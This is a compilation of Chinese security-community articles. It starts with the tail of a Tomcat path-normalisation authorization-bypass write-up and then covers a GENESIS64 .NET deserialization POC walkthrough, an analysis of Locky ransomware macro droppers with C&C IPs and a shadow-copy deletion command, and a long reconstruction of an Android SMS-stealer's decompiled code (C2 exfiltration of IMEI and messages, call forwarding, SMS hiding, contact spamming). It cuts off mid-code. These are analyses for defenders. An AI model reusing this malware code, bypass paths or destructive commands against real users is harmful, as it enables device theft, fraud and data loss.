斜杠的Ascii码为“47”，将URI中紧邻的两个斜杠修正为一个斜杠，形如“/t//./../index.jsp”修正为“/t/./../index.jsp”
第三第四合在一起说，首先修正URI中的“/./”，例如将“/t/./../index.jsp”修正为”/t/../index.jsp”,随后，解析“/../”进行URI路径跳跃，例如将“/t/../index.jsp”最终解析为“/index.jsp”
综上，normalize()方法结束后，Tomcat对于当前请求的URI已经解析完毕，并保存在变量decodedURI中，并最终交由this.connector.getService().getMapper().map(serverName,
decodedURI, version, request.getMappingData());根据decodedURI来匹配对应的Servlet。
而我们原本访问的URI“/t/;a=1;b=2/./../index.jsp”则保存在Coyote.Request实例的uriMB当中。
## 三、利用场景
对于各种业务系统而言，理所应当会存在多用户多角色的访问控制，具体表现在是否有足够的权限去调用后端的接口，而实现访问控制很重要的前提就是通过用户当前请求的路径来进行判断匹配。
打个比方说，用户test，不可以访问“/admin”接口，从业务代码实现起来，就是判断用户test当前访问的URI是否等价于”/admin”,如果等价，则响应401权限不足。
这里边的问题是什么呢？仍有部分开发者，习惯地通过HttpServletRequest.getRequestURI()的方式，来获取当前请求的URI。承接前面我们的分析，补充一下，该方法事实上是返回了Coyote.Request中的uriMB，也就是没有经过Tomcat修正的URI。
因此可能会产生这么一种情况：用户test访问的URI经过修正后，实际访问的是“/admin”,但后端使用getRequestURI()方法得到的URI跟“/admin”不等价，结合上面分析举个例子，很容易明白：“/;/admin”、“/;a/admin”、“/;a=1/admin”
以上三个路径跟”/admin”无法等价，但经Tomcat修正后，访问的却恰恰是“/admin”。
## 四、修复方案及延伸
String uri = request.getContextPath() + request.getServletPath();
不同的框架可能在资源解析中各有差异，就像先前Spring与Shiro之间的解析差异产生的未授权访问，因此日常审计也可以多留心这条思路。
从修复漏洞，抵御风险，提高系统安全性的角度来说，需尽保证关键数据、关键对象，传递和使用的一致性，以免岔路
欢迎各位师傅留言交流，一起玩耍 | 社区文章 |
# GENESIS64反序列化漏洞分析
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
ICONICS是一家专门从事可视化和自动化软件开发的公司，ICONICS解决方案提高效率，缩短集成时间和节省运营成本，优化资产利用率。GENESIS64为ICONICS公司的软件产品，套件所包含的一系列解决方案实现了从工厂车间和楼宇设备一级到企业业务系统的互联互通。GENESIS64是革命性的全新设计，充分利用了64位系统的优点、OPC/OPC-UA 的先进架构、微软 .NET 托管代码、 Silverlight 和 SharePoint 的技术优势。该系统允许企业的管理者和 IT 专家利用
GENESIS64 实现生产实时和商业信息为一体化、安全、通用、基于 Web 方式的可视化管理平台。
## 0x00 概述
GENESIS64软件的多个版本存在反序列化漏洞，影响多个组件，例如：
根据CVE漏洞相关描述，下载对应GENESIS软件版本搭建环境，进行漏洞分析与复现工作。软件安装可参考如下链接：https://jingyan.baidu.com/article/5d368d1ebb5a163f61c05773.html
## 0x01 服务分析
安装完成后对整个系统进行熟悉，发现Web程序接口使用Silverlight进行数据交互，因此需要找到相关功能文件进行分析。经过一些时间查找，找到系统服务开启的配置文件，在配置文件中定义了访问接口信息以及调用的相关配置文件信息：
经过多方分析找到FwxServer类，类中定义了重要服务的启动与注册配置，跟进一下StartAsyncServer()进行查看：
StartAsyncServer()函数里对配置项进行处理，加载配置项里的配置，在后面有一个FwxServerBase()函数处理了很多的参数，继续跟进：
FwxServerBase()函数里只是对配置文件里的配置做了一些设置，但此处发现继承了AsyncServer,再次跟进AsyncServer：
AsyncServer()函数最后完成配置相关参数并进行启动。到这里就完成整个服务的创建与启动，当然这里只看了一个启动项目，其他的服务注册与启动都差不多：
## 0x02 漏洞分析
基于前期的服务启动流程以及配置项的分析，最后定位到Asyncserver里处理提交请求的接口中，此接口中定义了几个接口，均为提交请求的处理，于是就用这个作为分析的突破口。
下图中定义了一个服务契约，在服务契约里面有多个处理提交请求的操作契约：
我们来对相关参数做一个简单的分析，因为这里只有PutRequests是处理提交请求的，所以先来看看它。这里是判断提交过来的数据里的Session是否失效，失效返回false，如果Session未失效则进入第二层处理Request：
在下图可以看到Request()函数对我们提交过来的数据进行了处理：
主要的SOAP数据包标签头：
标签里的cat标签对应了下面的几种提交类型,几种类型对应了相关的处理方式：
其他的标签处理大同小异。来到PutRequest()函数，此函数里有一个a函数处理session，跟进分析一下：
a()函数里，判断了标签Actor和用户提交的数据A_1，跟进a(A_1)重载函数：
可以看到a(A_1)重载函数里只是一个值选项判断，再次回到之前，跟进a(A_0)重载函数：
a(A_0)重载函数处理了Session相关数据，也没什么可分析的，接着往下看：
接下来看到存在一个if判断，对标签PointName和PointHandle做了值判断，因为一般情况下都会有值，因此这个地方流程一般不会进入，进入else分支分析：
在else分支里面进行了一系列的标签值判断，下面代码对提交的数据进行了处理
PointManager.ValidationResult validationResult = this.a(session, request, out
pointManagerWrapper, out pointHint);
只要validationResult的值不为Invalid和Unknown，则不会进行处理request数据，否则处理完成后进行返回：
继续往下看，这里调用了IsRequestAllowed()函数，这个函数是属于ISecurityManager接口的，跟进看一下处理：
在IsRequestAllowed()函数中，也对相关标签值进行了判断，这里判断了cat标签值是否为4以及InParams的值是否为SubscribeProcedureInParams；接着判断了Session信息是否失效，后面判断了PointName的值是否为“cfg:”开头的，如果是则进入tj.a()函数里，跟进tj.a()函数：
函数根据cat标签的值进行处理，如果我们提交了cat的值为4且InParams的值为SubscribeProcedureInParams的话，就会进入case
4分支处理，再次跟进tj.a()重载处理函数看看：
这里首先进行了一次判断，使用的是RepositoryIdentifier类，跟进RepositoryIdentifier.TryParse()函数:
这里把用户提交过来的PointName数据用”|”进行分割，加到list变量里面：
在处理完数据后，判断了数据的格式是否正常，这里主要判断了数据的长度，Guid.值，“rpt:“， “ctx:”
，“tag:”，随后处理了”tag:”标签，可以看到这里将”tag:”标签Base64解密后进行了反序列化的操作，跟进Deserialize()函数：
反序列化调用了DataContractSerializer进行序列化操作：
分析上图代码，可知代码里面存在一个坑：代码对用户提交过来序列化的数据进行自定义处理，固不能直接生成POC，须预先做一个处理才能被利用。进入Deserialize()函数后，函数首先获取序列化数据的前4个字节，然后以前4个字节作为长度读取序列化数据，所以我们须在前面加上长度，否则无法反序列化成功，因为在前面的GetType获取中就读取错了数据。
我们可以看到在DataContractSerializer()函数中，GetType的参数是可以控制的,分析一下对type的处理过程：首先使用工具生成一个测试poc，然后带入函数进行处理：
看到函数已经对数据进行了处理，处理完数据之后我们发现，取出的变量值并不完整
接下来带入系统进行查找类型：
最后返回的type结果为null，也就是没有找到所属的类型，自然就会反序列化失败：
这里的序列化类型的清单均置于list清单里，System.Security.Principal.WindowsPrincipal是在list里面的，但却没有找到，就是因为数据存在格式问题：
根据按照序列化处理代码对POC进行删减构造，即可成功获取type：
## 0x03 POC构造
根据上节的漏洞分析，我们可以构造出漏洞利用POC，并使用DataContractSerializer()作为反序列化的载体进行利用测试：
通过抓包可以看到请求的数据，在数据包中可以看到，标签cat为4，type为0，但是Inparams还不是SubscribeProcedureInParams，借用抓到的数据包构造POC，删除数据包中一些不必要的数据并添加一些能够让漏洞触发的数据：
数据包构造完成后，使用工具生成POC，此处使用ysoserial.NET，把漏洞利用POC修改后添加到数据包里面即可成功利用：
## 0x04 总结
这个GENESIS64
.NET的反序列化漏洞的分析过程比较曲折，一方面没有太多的资料可供参考，加之软件程序十分庞大，系统开启服务太多，漏洞分析过程中发现的坑点也很多，导致漏洞定位难度增大，但总的来说，整个漏洞的利用过程还是很有意思，个人收获很大。 | 社区文章 |
# 勒索软件Locky最新传播载体分析
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
译文仅供参考，具体内容表达以及含义原文为准。
暂不影响中文版Office,但还远吗?
引子
人在做,天在看。
勒索软件,飘荡在互联网上越来越浓的一片片乌云,从中爆发出的闪电随时可能击中一般的用户。基于比特币的匿名支持体系使勒索软件这个商业模式轻松完成了闭环,各种数字绑票生意开始蓬勃兴起,而Locky勒索软件家族可能是其中最贪婪粗放的一个,漫天撒网以期最大范围地捞取不义之财。
360天眼实验室自然会对Locky重点关注并做持续的跟踪,基于360威胁情报中心的数据,以下的热力图显示了从2015年11月以来Locky样本量的提交情况。可见,2016年3、4月有两波大规模的行动,刚开初的5月甚至出现了高于4月的提交量。事实上,2016年5月3日的行动可能是史上最大规模的一波攻击。
而在近两日,360天眼实验室捕获了一批最新的Locky勒索软件的传播载体,和大多数的样本一样,这批样本同样使用Word中的宏代码下载执行Locky勒索软件:
lWord文档中被插入了恶意的宏代码
l受害用户打开Word文档后并允许宏代码执行
l恶意宏使用Microsoft.XMLHTTP对象从指定的URL下载勒索软件并保存为hendibe.exe
l最后调用Shell.Application来执行恶意软件
值得注意的是,该系列样本中的宏代码是大量具有正常功能的宏代码,而攻击者将恶意代码分散插入到正常的宏代码中,如果不仔细观察,很难察觉到正常的宏代码中包含恶意代码。并且恶意代码中将需要操作的对象名称混淆编码后隐藏在了控件UserForm2.Image1的ControlTipText属性中,下载URL也通过加密的方式保存,这样具有比较好的免杀效果,VirusTotal上仅有6家杀软可以查杀更是证明了这一点!
有意思的是中文版Office以及大部分非西文版Office软件对该系列样本天生“免疫”(不会触发恶意宏代码),这批样本的目标应该不是针对中国的,但是量身定制的版本可能已经在路上了,接下来我们对该系列样本进行一些简单的分析。
样本分析
360天眼实验室此次捕获到的样本分别有doc和docm两种文档格式,攻击者以此来保证Office 2003、Office
2007以及更高版本的Office软件用户能执行对应的宏代码,但是所有样本的内部功能都一致,所以我们使用.docm的恶意文档作为分析案例。
免杀效果
先附一张VirusTotal的查杀图,可以看到大部分杀软对这批样本都无法正确识别其恶意性:
正常的宏代码
查看文档中的宏代码我们可以发现,宏代码中基本上都是一些数学公式代码,并且还有函数说明等相关注释,看起来都是正常的。如图:
隐藏在ControlTipText中的数据
不过,有一段代码引起了我们的注意,代码显示从Image1控件的属性中读取了某些数据,并进行了一些操作,如图:
而sOvet_FATSO函数的功能就是Replace:
通过分析这段代码可以理解到大概的功能是这样的:
读取UserForm2.Image1控件的ControlTipText属性得到一个字符串,然后使用sOvet_FATSO把00替换为e,再把D!替换成M、bri替换成s,最后将字符串以10分隔,使用split生成数组。
提取UserForm2.Image1. ControlTipText中的字符串如下:
D!icrobrioft.XD!LHTTP10)Adodb.britr00aD!10)brih00ll.Application10)Wbricript.brih00ll10)Proc00bribri10)G00T10)T00D!P10)Typ0010)op00n10)writ0010)r00briponbri00Body10)briav00tofil0010)hendib00.00×00
使用前面的替换方法替换后,字符串变成这样:
Microsoft.XMLHTTP10)Adodb.streaM10)shell.Application10)Wscript.shell10)Process10)GeT10)TeMP10)Type10)open10)write10)responseBody10)savetofile10)hendibe.exe
可以看到,字符串中出现了恶意宏中常常使用的一些关键对象名和方法名,那么这段看似正常的宏代码可能就不那么“正常”了。
恶意宏代码执行流程
通过对宏代码的进一步分析,我们明白了这是一个通过向正常的宏代码中插入恶意宏代码,并将关键的string混淆,以及将下载的URL加密存放来躲避杀软查杀的恶意Word文档。
恶意宏代码的执行流程如下:
1、读取UserForm2.Image1.ControlTipText中的字符串并替换指定的字符
Microsoft.XMLHTTP10)Adodb.streaM10)shell.Application10)Wscript.shell10)Process10)GeT10)TeMP10)Type10)open10)write10)responseBody10)savetofile10)hendibe.exe
2、使用Split将得到的字符串以10分割成数组传递给sOvet__57
sOvet__57 = Split(asOvet, "10)")
3、通过CreateObject等函数引用sOvet__57数组中的各个成员
4、将加密的URL每个字节除以16进行解密
5、执行下载流程
l使用Microsoft.XMLHTTP下载文件
l使用Adodb.streaM的savetofile方法保存写入到TMP目录,并命名为hendibe.exe
l最后使用Shell.Application来执行下载的EXE
解密URL
样本以“?”作为分隔,使用Split生成数组,再传递给解密函数解密。但是我们在调试过程中发现,样本的宏代码中,Split函数最后缺少了闭合符号”,导致样本执行报错:
将Split后面的”加上后再解码出来的URL却是乱码:
对于这种情况,刚开始我们认为这应该是攻击者还在测试样本的免杀能力,因为正常情况下这样的代码是不可能执行起来的,并且即便执行成功,得到的URL也是错误的,不可能下载得到恶意软件。
中文Office天生“免疫”
二进制中提取原始加密数据
正当我们准备结束这次分析,得出该系列样本是攻击者进行免杀测试的样本的结论时,我们顺便看了一下样本二进制中加密的URL数据,居然发现原始二进制中的加密URL数据和Word宏代码中显示的数据不一致,而二进制中加密URL的分隔符并不是”?”,而是0xA8:
而Word宏编辑器中显示的加密的URL数组是这样的:
Split("1664?856?856?792?28?52?52?840?680?728?888?616?824?728?776?824?600?840?36?552?904?552?824?600?840?792?552?584?616?36?584?776?744?52?96?12?936?648?80?568?760?744?744?776?680",
"?)
可以看到,对应的”?”其实是0xA8,而0xA8后面的字节也被Word“吞噬了”,这样导致显示出来的数组通过宏代码中的算法无法解密!
VBA的“BUG”
原来,VBA中使用ANSI编码,上面的代码在英文版Office中是没有问题的,VBA会正确地识别0xA8为分隔符,而在中文Office环境或者其它非西文的Office环境下则会将0xA8后面的字节一并处理。
找到原因后,我们将0xA8替换成可见字符空格0x20,并以0x20作为分隔符,成功解密出了URL:
使用该地址能成功下载回来一个EXE文件,经过简单分析发现该EXE是勒索软件Locky家族的样本。
下载的Locky简单分析
简单分析该样本发现执行流程和大多数的勒索软件一致,这里就不进行详细的分析了,样本大致的行为如下:
1、样本执行后反连C&C服务器进行通信
109.73.234.241:80
185.22.67.108:80
2、读取用户机器环境信息,并生成身份ID
3、POST用户机器信息到C&C服务器
4、获取公钥信息并加密对应文件
5、释放vssadmin.exe删除所有副本文件
vssadmin.exe Delete Shadows /All /Quiet
6、生成勒索提示文件,更改桌面
结束语
在我们的文章完成时这类样本的所有下载地址均有效,基于360威胁情报中心监测数据,这类样本在5月6日第一次被监控捕获到,后续很可能会迎来一轮的增长:
而国内用户则不能因为此次中文Office天生“免疫”这批攻击样本而掉以轻心,可以预见未来勒索形式的恶意软件会更多的被黑产团队使用,对付这类攻击目前依然只能以预防为主:安装杀毒软件、定期备份重要文件、打开陌生的邮件附件一定要多加小心。
IOC
以下IOC数据供安全业界参考:
类型
|
值
---|---
C&C IP
|
109.73.234.241:80
C&C IP
|
185.22.67.108:80 | 社区文章 |
# 洞若观火：全方位剖析Android信息窃取恶意软件（下篇）
|
##### 译文声明
本文是翻译文章，文章原作者 maxkersten，文章来源：maxkersten.nl
原文地址：<https://maxkersten.nl/binary-analysis-course/malware-analysis/android-sms-stealer/>
译文仅供参考，具体内容表达以及含义原文为准。
## 传送门
《洞若观火：全方位剖析Android信息窃取恶意软件（上篇）》
<https://www.anquanke.com/post/id/XXXXXX>
## 六、源代码分析
### 6.9 类i（第二部分）
根据从ServerCommunicator类中得到的新信息，我们能更加容易地理解类i。首先，它将收集方法和ID。
如果指定的方法是install，它还会手机网络运营商、bild模型、版本号、电话号码、IMEI、恶意程序版本和所在国家。所有这些数据都将被发送至C&C服务器。
如果指定的方法是info，那么只会将恶意程序的方法和ID发送到C&C服务器。
最后，有一个名为sms的选项，这一方法的行为与info方法相同。
protected final Object doInBackground(Object[] urlArray) {
Object var2 = null;
boolean var3 = false;
boolean var4 = MainService.e;
String url = ((String[]) urlArray)[0];
ServerCommunicator serverCommunicator = new ServerCommunicator();
this.parameters.add(new BasicNameValuePair("method", this.command));
this.parameters.add(new BasicNameValuePair("id", this.sharedPreferences.getString("id", (String) null)));
JSONObject serverResponse;
if (this.command.startsWith("install")) {
String POST = "POST";
this.parameters.add(new BasicNameValuePair("operator", TelephonyManagerWrapper.getTelephonyManager(context).getNetworkOperatorName()));
this.parameters.add(new BasicNameValuePair("model", Build.MODEL));
this.parameters.add(new BasicNameValuePair("os", VERSION.RELEASE));
this.parameters.add(new BasicNameValuePair("phone", TelephonyManagerWrapper.getTelephonyManager(context).getLine1Number()));
this.parameters.add(new BasicNameValuePair("imei", TelephonyManagerWrapper.getTelephonyManager(context).getDeviceId()));
this.parameters.add(new BasicNameValuePair("version", Constants.version));
this.parameters.add(new BasicNameValuePair("country", context.getResources().getConfiguration().locale.getCountry()));
serverResponse = ServerCommunicator.callC2(url, POST, this.parameters);
} else if (this.command.startsWith("info")) {
serverResponse = ServerCommunicator.callC2(url, StringDatabase.POST, this.parameters);
} else {
serverResponse = (JSONObject) var2;
if (this.command.startsWith("sms")) {
serverResponse = ServerCommunicator.callC2(url, StringDatabase.POST, this.parameters);
}
}
if (StringDatabase.integerZero != 0) {
if (!var4) {
var3 = true;
}
MainService.e = var3;
}
return serverResponse;
}
需要注意的是，Constants类仅包含两个字段。这些变量的名称可以直接改成它们的值，例如下面的类：
public final class Constants {
public static int int50005 = 50005;
public static String version = "5";
}
6.9.1 onPostExecute
多亏我的一个朋友，我获得了使用JEB反编译的Java代码。代码仍然非常复杂，因为这一函数大概有250行之多。此外，还有很多try-catch结构和jump，这又给分析工作加大了难度。
SMALI等效代码大约有550行，这使得我们几乎无法分析。但根据SMALI代码，我们可以大概看到函数执行的操作：比较字符串，如果相匹配则执行代码。这可能代表Java代码确认后的命令处理。下面是反编译后未经修改的部分Java代码。
//[omitted]
try {
if(v15.equals(String.valueOf(o.h) + o.E)) {
this.w.edit().putLong(o.u, Long.valueOf((((long)(v8.optInt(i.t[17]) * 1000))) + System.currentTimeMillis()).longValue()).commit();
}
if(v15.equals(String.valueOf(o.h) + i.t[18])) {
i.q(v8.optString(i.t[33]), v8.optString(o.c));
}
if(v15.equals(i.t[21] + o.f + i.t[16])) {
v16 = v8.optString(i.t[33]);
v17 = i.q.getContentResolver().query(ContactsContract$Contacts.CONTENT_URI, null, null, null, null);
if(v17 != null) {
goto label_125;
}
goto label_132;
}
goto label_160;
}
catch(Throwable v2) {
return;
}
try {
label_125:
if(v17.getCount() > o.z) {
goto label_128;
}
goto label_132;
}
catch(Throwable v2) {
goto label_273;
}
//[omitted]
为了适应本文所分析的恶意软件，我将大约250行代码重写为下面给出的代码。在重写的代码中，包含恶意程序所存在的所有功能，并且没有反编译错误。请注意，大多数字符串所在的字符串数组中，都包含33个字符串。它还使用了StringDatabase类中的字符串，这使得它非常混乱。
在代码中，包含以前没有分析过的类。这些类将在需要的时候进行分析。
protected final void onPostExecute(JSONArray commandJson) {
String command = commandJsonArray[0];
switch (command) {
case "install_true":
sharedPreferenceEditor.putString("inst", "2").commit();
break;
case "call_number":
TelephonyManagerWrapper2.callPhoneNumber(context, "*21*" + commandJson.optString("phone") + "#");
new Handler().postDelayed(new StopCallForwardingRunnable(this), 1000 * (((long) commandJson.optInt("time"))));
break;
case "sms_grab":
Long time_perehv = (((long) (commandJson.optInt("time") * 1000))) + System.currentTimeMillis();
sharedPreferenceEditor.putLong("time_perehv", time_perehv).commit();
break;
case "sms_send":
sendAndRemoveMessage(commandJson.optString("message"), commandJson.optString("phone"));
break;
case "delivery":
TelephonyManagerWrapper2.callPhoneNumber(context, "*21*+79009999999#");
String smsMessage = commandJson.optString("text");
String recipientPhoneNumber;
Cursor allContacts = context.getContentResolver().query(ContactsContract$Contacts.CONTENT_URI, null, null, null, null);
Cursor contactIds = context.getContentResolver().query(ContactsContract$CommonDataKinds$Phone.CONTENT_URI, null, "contact_id = ?", new String[]{allContacts.getString(allContacts.getColumnIndex("_id"))}, null);
if (allContacts.getCount() > 0 && contactIds.getCount() > 0) {
for (int i = 1; i < 30; i++) {
if (allContacts.moveToNext()) {
if (contactIds.moveToFirst()) {
recipientPhoneNumber = contactIds.getString(contactIds.getColumnIndex("data1"));
if (recipientPhoneNumber != null) {
sendAndRemoveMessage(smsMessage, recipientPhoneNumber);
}
}
}
}
}
break;
case "new_url":
String url = commandJson.optString("text");
if (url.length() > 10) {
sharedPreferenceEditor.putString("url", url).commit();
sharedPreferenceEditor.putString("inst", "1").commit();
}
break;
case "ussd":
TelephonyManagerWrapper2.callPhoneNumber(context, commandJson.optString("phone"));
break;
}
}
在switch中，处理了多个命令，这些不同的命令具体如下。随后，我们将按照列出的顺序逐一分析每个命令。
6.9.2 install_true
在接收到此命令后，字符串inst在共享首选项文件中被设置为2。这意味着安装完成。
case "install_true":
sharedPreferenceEditor.putString("inst", "2").commit();
break;
6.9.3 call_number
设置应该进行呼叫转移的电话号码。使用 _21_ 作为前缀，并以#作为后缀，这样可以确保将呼入的电话转移到指定的号码上。
case "call_number":
TelephonyManagerWrapper2.callPhoneNumber(context, "*21*" + commandJson.optString("phone") + "#");
new Handler().postDelayed(new StopCallForwardingRunnable(this), 1000 * (((long) commandJson.optInt("time"))));
break;
其中，StopCallForwardingRunnable类调用#21#，取消呼叫转移。命令中的时间变量将会指定何时应该取消呼叫转移，因为runnable的调用被延迟。时间变量是以秒为单位的等待时间，在代码中，原始函数需要以毫秒为单位的变量，因此该变量被乘以了1000。代码如下：
public final void run() {
new TelephonyManagerWrapper2().callPhoneNumber(i.context, "#21#");
}
我们将在分析了所有命令之后，再对TelephonyManagerWrapper2类进行分析。
6.9.4 sms_grab
time_perehv的值表示未来的特定时间，以秒为单位。处理这部分命令的代码如下：
case "sms_grab":
Long time_perehv = (((long) (commandJson.optInt("time") * 1000))) + System.currentTimeMillis();
sharedPreferenceEditor.putLong("time_perehv", time_perehv).commit();
break;
使用Android Studio的查找用法（Find
Usage）功能，可以看到String类中的字符串time_perehv（在上面的代码中被替换，以增加可读性）也同样在类Ma中被使用。在这里，由于这个类是BroadcastReceiver，所以用到了getAllSmsMessageBodies和onReceive这两个有趣的函数。
getAllSmsMessageBodies函数需要一个参数，也就是一个SMS消息数组。每条短信的正文都将放在一个字符串中，其结果以单个字符串的形式返回。
private static String getAllSmsMessageBodies(SmsMessage[] smsMessageArray) {
StringBuilder stringBuilder = new StringBuilder();
for (SmsMessage messageBody : smsMessageArray) {
stringBuilder.append(messageBody.getMessageBody());
}
return stringBuilder.toString();
}
需要使用BroadcastReceiver类扩展的类来实现onReceive函数。在处理BroadcastReceiver正在侦听的intent时，onReceive函数负责处理其intent。onReceive函数具体如下：
public void onReceive(Context context, Intent intent) {
String intentAction;
context.startService(new Intent(context, MainService.class));
this.sharedPreferences = context.getSharedPreferences("PREFS_NAME", 0);
try {
intentAction = intent.getAction();
} catch (Throwable th) {
intentAction = "";
}
Object[] objArr = (Object[]) intent.getExtras().get("pdus");
if (isActive || objArr != null) {
SmsMessage[] smsMessageArray = new SmsMessage[objArr.length];
long j = this.sharedPreferences.getLong("time_perehv", 0);
if (System.currentTimeMillis() < Long.valueOf(j).longValue()) {
this.w = true;
}
if (Boolean.valueOf(SmsMessage.createFromPdu((byte[]) objArr[0]).getDisplayOriginatingAddress().equalsIgnoreCase("900")).booleanValue()) {
this.w = true;
}
if (this.w && intent != null && intentAction != null) {
if ("android.provider.telephony.SMS_RECEIVED".compareToIgnoreCase(intentAction) == 0) {
String displayOriginatingAddress;
for (int i = 0; i < objArr.length; i++) {
smsMessageArray[i] = SmsMessage.createFromPdu((byte[]) objArr[i]);
SmsMessage createFromPdu = SmsMessage.createFromPdu((byte[]) objArr[i]);
displayOriginatingAddress = createFromPdu.getDisplayOriginatingAddress();
new Handler().postDelayed(new y(this, context, createFromPdu.getDisplayMessageBody(), displayOriginatingAddress), 2000);
}
String allSmsMessageBodies = getAllSmsMessageBodies(smsMessageArray);
displayOriginatingAddress = smsMessageArray[0].getDisplayOriginatingAddress();
List parameters = new ArrayList();
parameters.add(new BasicNameValuePair("fromPhone", displayOriginatingAddress));
parameters.add(new BasicNameValuePair("text", allSmsMessageBodies));
new CommandHandler(context, parameters, "sms").execute(new String[]{"url", null)})
;
try {
q();
return;
} catch (Exception e) {
return;
}
}
return;
}
return;
}
throw new AssertionError();
}
在这部分代码中，函数q和类y是未知的。至此，我们已经知道这部分的核心功能。Long
j等于time_perehv的值，该值通过C&C服务器的命令来设定。如果j晚于当前系统时间，那么布尔值w将被设置为true。请注意，默认情况下w被设置为false，如果收到的编号为900，那么该布尔值也将被设置为true。
如果将w设置为true，则继续执行代码，将intent的动作与接收到短信息时给出的动作进行比较。如果为true，类y将在2秒延迟后开始执行。
然后，利用短信命令，将所有短消息的内容发送到C&C服务器。最后，执行函数q。
y的代码如下：
public final void run() {
((android.app.NotificationManager) this.context.getSystemService("notification").cancelAll();
TelephonyManagerWrapper2.removeSentMessages(this.context, (String) this.body, this.numberTo);
}
通过使用NotificationManager（通知管理），可以取消所有通知。然后，删除发送到numberTo值的所有消息。根据该消息，可以将类y重命名为CancelAllNotificationsRunnable。
函数q（在Ma类中）如下：
private boolean q() {
try {
Class.forName("android.content.Receiver").getDeclaredMethod("abortBroadcast", new Class[0]).invoke(this, new Object[0]);
} catch (Throwable th) {
}
return true;
}
通过反射，调用abortBroadcast方法，从而从系统中删除广播。因此，我们可以将该函数重命名为abortBroadcastWrapper。
基于上面的分析，我们完全可以重写类Ma的onReceive函数，如下所示：
public void onReceive(Context context, Intent intent) {
String intentAction;
context.startService(new Intent(context, MainService.class));
this.sharedPreferences = context.getSharedPreferences("PREFS_NAME", 0);
try {
intentAction = intent.getAction();
} catch (Throwable th) {
intentAction = "";
}
Object[] objArr = (Object[]) intent.getExtras().get("pdus");
if (isActive || objArr != null) {
SmsMessage[] smsMessageArray = new SmsMessage[objArr.length];
long blockTimeDeadline = this.sharedPreferences.getLong("time_perehv", 0);
if (System.currentTimeMillis() < Long.valueOf(blockTimeDeadline).longValue()) {
this.shouldBlock = true;
}
if (Boolean.valueOf(SmsMessage.createFromPdu((byte[]) objArr[0]).getDisplayOriginatingAddress().equalsIgnoreCase("900")).booleanValue()) {
this.shouldBlock = true;
}
if (this.shouldBlock && intent != null && intentAction != null) {
if ("android.provider.telephony.SMS_RECEIVED".compareToIgnoreCase(intentAction) == 0) {
String displayOriginatingAddress;
for (int i = 0; i < objArr.length; i++) {
smsMessageArray[i] = SmsMessage.createFromPdu((byte[]) objArr[i]);
SmsMessage createFromPdu = SmsMessage.createFromPdu((byte[]) objArr[i]);
displayOriginatingAddress = createFromPdu.getDisplayOriginatingAddress();
new Handler().postDelayed(new CancelAllNotificationsRunnable(this, context, createFromPdu.getDisplayMessageBody(), displayOriginatingAddress), 2000);
}
String allSmsMessageBodies = getAllSmsMessageBodies(smsMessageArray);
displayOriginatingAddress = smsMessageArray[0].getDisplayOriginatingAddress();
List parameters = new ArrayList();
parameters.add(new BasicNameValuePair("fromPhone", displayOriginatingAddress));
parameters.add(new BasicNameValuePair("text", allSmsMessageBodies));
new CommandHandler(context, parameters, "sms").execute(new String[]{"url", null)})
;
try {
abortBroadcastWrapper();
return;
} catch (Exception e) {
return;
}
}
return;
}
return;
}
throw new AssertionError();
}
其中，由C&C服务器提供并保存在共享首选项time_perehv中的时间决定什么时候阻止并删除所有传入的消息。因此，Ma类可以重命名为SmsBlocker。
6.9.5 sms_send
在JSON命令中，会将指定的文本消息发送到指定的号码。随后，如果用户检查发送的短信息，恶意软件会删除文本消息，从而避免产生任何怀疑。
case "sms_send":
sendAndRemoveMessage(commandJson.optString("message"), commandJson.optString("phone"));
break;
在上面的代码中，使用了函数sendAndRemoveMessage。该方法使用特定正文内容，并将短信息发送到特定号码。两秒钟后，使用可以运行的RemoveAllSentMessagesRunnable删除设备上所有可用的文本消息。
private static void sendAndRemoveMessage(String message, String numberTo) {
if (numberTo != null && message != null) {
TelephonyManagerWrapper.sendSms(numberTo, message);
(new Handler()).postDelayed(new RemoveAllSentMessagesRunnable(message, numberTo), 2000L);
}
}
RemoveAllSentMessagesRunnable类包装了TelephonyManagerWrapper2，我们稍后对其进行分析。
final class RemoveAllSentMessagesRunnable implements Runnable {
private final String message;
private final String numberTo;
RemoveAllSentMessagesRunnable(String message, String numberTo) {
this.message = message;
this.numberTo = numberTo;
}
public final void run() {
TelephonyManagerWrapper2.removeSentMessages(CommandHandler.context, this.message, this.numberTo);
}
}
6.9.6 ussd
使用callPhoneNumber函数（位于TelephonyManagerWrapper2类中）调用命令所提供的号码。输入的电话号码可以使ussd命令。
case "ussd":
TelephonyManagerWrapper2.callPhoneNumber(context, commandJson.optString("phone"));
break;
6.9.7 delivery
下面展示了交付命令的代码，代码已经经过重新编写，以尽可能多地包含详细信息。
case "delivery":
TelephonyManagerWrapper2.callPhoneNumber(context, "*21*+79009999999#");
String smsMessage = commandJson.optString("text");
String recipientPhoneNumber;
Cursor allContacts = context.getContentResolver().query(ContactsContract$Contacts.CONTENT_URI, null, null, null, null);
Cursor contactIds = context.getContentResolver().query(ContactsContract$CommonDataKinds$Phone.CONTENT_URI, null, "contact_id = ?", new String[]{allContacts.getString(allContacts.getColumnIndex("_id"))}, null);
if (allContacts.getCount() > 0 && contactIds.getCount() > 0) {
for (int i = 1; i < 30; i++) {
if (allContacts.moveToNext()) {
if (contactIds.moveToFirst()) {
recipientPhoneNumber = contactIds.getString(contactIds.getColumnIndex("data1"));
if (recipientPhoneNumber != null) {
sendAndRemoveMessage(smsMessage, recipientPhoneNumber);
}
}
}
}
}
break;
首先，恶意软件设置将任何呼叫都转移到号码+79009999999。区号+79是斯洛文尼亚。之后，从命令中检索短信息的正文。并使用两个查询，查询手机中的所有联系人，上限为29。这些联系人都将收到一条短信息，其中包含在命令中定义的正文。之后，将会从手机上删除这一条发出的消息。
6.9.8 new_url
使用此命令，可以在设置中更改C&C服务器的URL。命令中URL的名称为text。程序会对其进行完整性检查，以查看URL是否超过了10个字符。符合HTTP协议（[http://）规范并包含两个字符的顶级域名等于10个字符。](http://%EF%BC%89%E8%A7%84%E8%8C%83%E5%B9%B6%E5%8C%85%E5%90%AB%E4%B8%A4%E4%B8%AA%E5%AD%97%E7%AC%A6%E7%9A%84%E9%A1%B6%E7%BA%A7%E5%9F%9F%E5%90%8D%E7%AD%89%E4%BA%8E10%E4%B8%AA%E5%AD%97%E7%AC%A6%E3%80%82)
因此，即使是最小的URL，也要有11个字符，因此恶意程序会对其进行检查。由于手机尚未在新的C&C服务器上注册，所以inst设置为1。代码如下：
case "new_url":
String url = commandJson.optString("text");
if (url.length() > 10) {
